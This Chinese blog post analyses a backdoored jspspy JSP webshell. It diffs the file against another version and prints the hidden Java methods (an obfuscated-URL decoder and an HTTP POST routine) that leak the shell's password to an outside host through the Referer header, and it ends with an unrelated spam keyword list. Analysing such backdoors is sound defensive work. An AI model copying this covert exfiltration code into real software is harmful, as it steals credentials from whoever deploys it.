千家信息网

如何查看webshell的后门

发表于:2026-10-31 作者:千家信息网编辑
千家信息网最后更新 2026年10月31日,这篇文章主要介绍了如何查看webshell的后门,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。follow me我们咋一看这不就是js
千家信息网最后更新 2026年10月31日如何查看webshell的后门

这篇文章主要介绍了如何查看webshell的后门,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。

follow me

我们咋一看这不就是jspspy嘛



年轻人不要急我们先把整个项目download下来然后再好好分析看看通过文件大小比较x7.jsp和下面的xia.jsp发现x7.jsp比xia.jsp多了2kb已知xia.jsp也是一个版本的jspspy。



但是当我们分别打开x7.jsp和xia.jsp时试图想找到是哪里多出来2kb时发现有点不切实际作为一个java的初学者我们似乎并没有那么大的本事去通读jspspy的各个功能模块的代码。于是乎我们可以通过windows自带的命令去进行文本内容比较(emmmm,类似于linux下的diff命令)


利用管道符号将两个jsp不同的地方重定向输出至txt文档中。



打开txt我们便开始分析很突然就发现有一个问题如下图

请注意txt文档的23行的代码x7.jsp中又定义了一个变量sxm值就是PW的值。



那我们开始着重分析一下x7.jsp中新定义的这个sxm变量是拿来干什么的吧。

接着用编辑器直接ctrl+f在当前文件中查找sxm



直接转向854行

发现有三个新的方法(就是C语言里面的函数)分别是uc()、dx()和FileLocalUpload()依次去定位查看这三个方法的代码块。

FileLocalUpload()方法

public static String FileLocalUpload(String reqUrl,String fckal,String recvEncoding) {        HttpURLConnection url_con = null;        String responseContent = null;        try {                URL url = new URL(reqUrl);                url_con = (HttpURLConnection) url.openConnection();                url_con.setRequestMethod("POST");                  url_con.setRequestProperty("REFERER", ""+fckal+"");                System.setProperty("sun.net.client.defaultConnectTimeout", String.valueOf(connectTimeOut));                System.setProperty("sun.net.client.defaultReadTimeout", String.valueOf(readTimeOut));                 url_con.setDoOutput(true);                url_con.getOutputStream().flush();                url_con.getOutputStream().close();                InputStream in = url_con.getInputStream();                BufferedReader rd = new BufferedReader(new InputStreamReader(in,recvEncoding));                String tempLine = rd.readLine();                StringBuffer tempStr = new StringBuffer();                String crlf=System.getProperty("line.separator");                while (tempLine != null) {                        tempStr.append(tempLine);                        tempStr.append(crlf);                        tempLine = rd.readLine();                }        responseContent = tempStr.toString();        rd.close();        in.close();        }        catch (IOException e) {        }        finally {                if (url_con != null) {                        url_con.disconnect();                }        }        return responseContent;}

dx()方法

public static String SysInfo="=?./..//:";public static String dx() {        String s = new String();        for (int i = SysInfo.length() - 1; i >= 0; i--) {                s += SysInfo.charAt(i);        }        return s;}

uc()方法

public static String uc(String str) {        String c="\n\r"; long d=127,  f=11, j=12, h=14,  m=31, r=83, k=1, n=8,  s=114, u=-5, v=5,a=0;        StringBuffer sb = new StringBuffer();        char[] ch = str.toCharArray();          for (int i = 0; i < ch.length; i++) {                a = (int)ch[i];                if(a==d) a=13;                 if(a==f) a=10;                 if(a==j) a=34;                 if((a>=h) && (a<=m)) a=a+r;                 if((a>=k) && (a<=n)) a=a+s;                 if((a>=53) && (a<=57)) a=a+u;                 if((a>=48) && (a<=52)) a=a+v;                  sb.append((char)a);        }        return sb.toString();}

怎么办看不懂啊。

不要慌~~ 看不懂不要紧我们可以直接把方法拿过来再处理一次只不过我不用FileLocalUpload()方法去处理我直接把sxm变量和uc()、dx()执行之后print输出就行。所以自己写写代码

import java.io.*;import java.util.*; class x7 {        public static void main(String[] args) {                String PW = "ttttt";                String sxm=PW;                                 System.out.println(uc(dx())+sxm);        }         public static String dx() {                String s = new String();                String SysInfo="=?./..//:";                for (int i = SysInfo.length() - 1; i >= 0; i--) {                        s += SysInfo.charAt(i);                }                return s;        }         public static String uc(String str) {                String c="\n\r"; long d=127,  f=11, j=12, h=14,  m=31, r=83, k=1, n=8,  s=114, u=-5, v=5,a=0;                StringBuffer sb = new StringBuffer();                char[] ch = str.toCharArray();                 for (int i = 0; i < ch.length; i++) {                        a = (int)ch[i];                        if(a==d) a=13;                         if(a==f) a=10;                         if(a==j) a=34;                         if((a>=h) && (a<=m)) a=a+r;                         if((a>=k) && (a<=n)) a=a+s;                         if((a>=53) && (a<=57)) a=a+u;                         if((a>=48) && (a<=52)) a=a+v;                          sb.append((char)a);                }                return sb.toString();        }}

写完调试一下然后javac编译一下发现不报错就行。


接着执行一次看看



感谢你能够认真阅读完这篇文章,希望小编分享的"如何查看webshell的后门"这篇文章对大家有帮助,同时也希望大家多多支持,关注行业资讯频道,更多相关知识等着你来学习!

方法 代码 篇文章 变量 就是 分析 后门 三个 命令 文件 文档 处理 输出 不同 年轻 不切实际 不要紧 这不 不用 两个 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 中智农互联网科技 电子科技大学互联网 融贸通互联网科技 互联网巨头投资的硬核科技 华脉科技工业互联网产品 央行互联网金融科技公司 阿里互联网科技公司 互联网经济与金融科技 宁夏科技产业互联网案例 互联网公司科技股 世界互联网科技公司市值排名 朱啸虎曾投资哪些互联网科技企业 科技互联网的核心竞争力 银行科技岗属于互联网吗 互联网硬科技公司 福建互联网展示科技馆设计 优雇互联网科技有限公司 东风日产互联网科技公司叫什么 互联网科技创新方面的资料 广州全民伙伴互联网科技有限公司 互联网科技产业 互联网 科技公司 合肥互联网科技公司 腾讯科技 互联网女皇 金融科技和互联网金融 互联网科技生活的内容 顶级互联网科技成果有哪些 崇明区互联网教育科技诚信经营 黑科技闪耀互联网之光 智腾互联网科技有限公司
0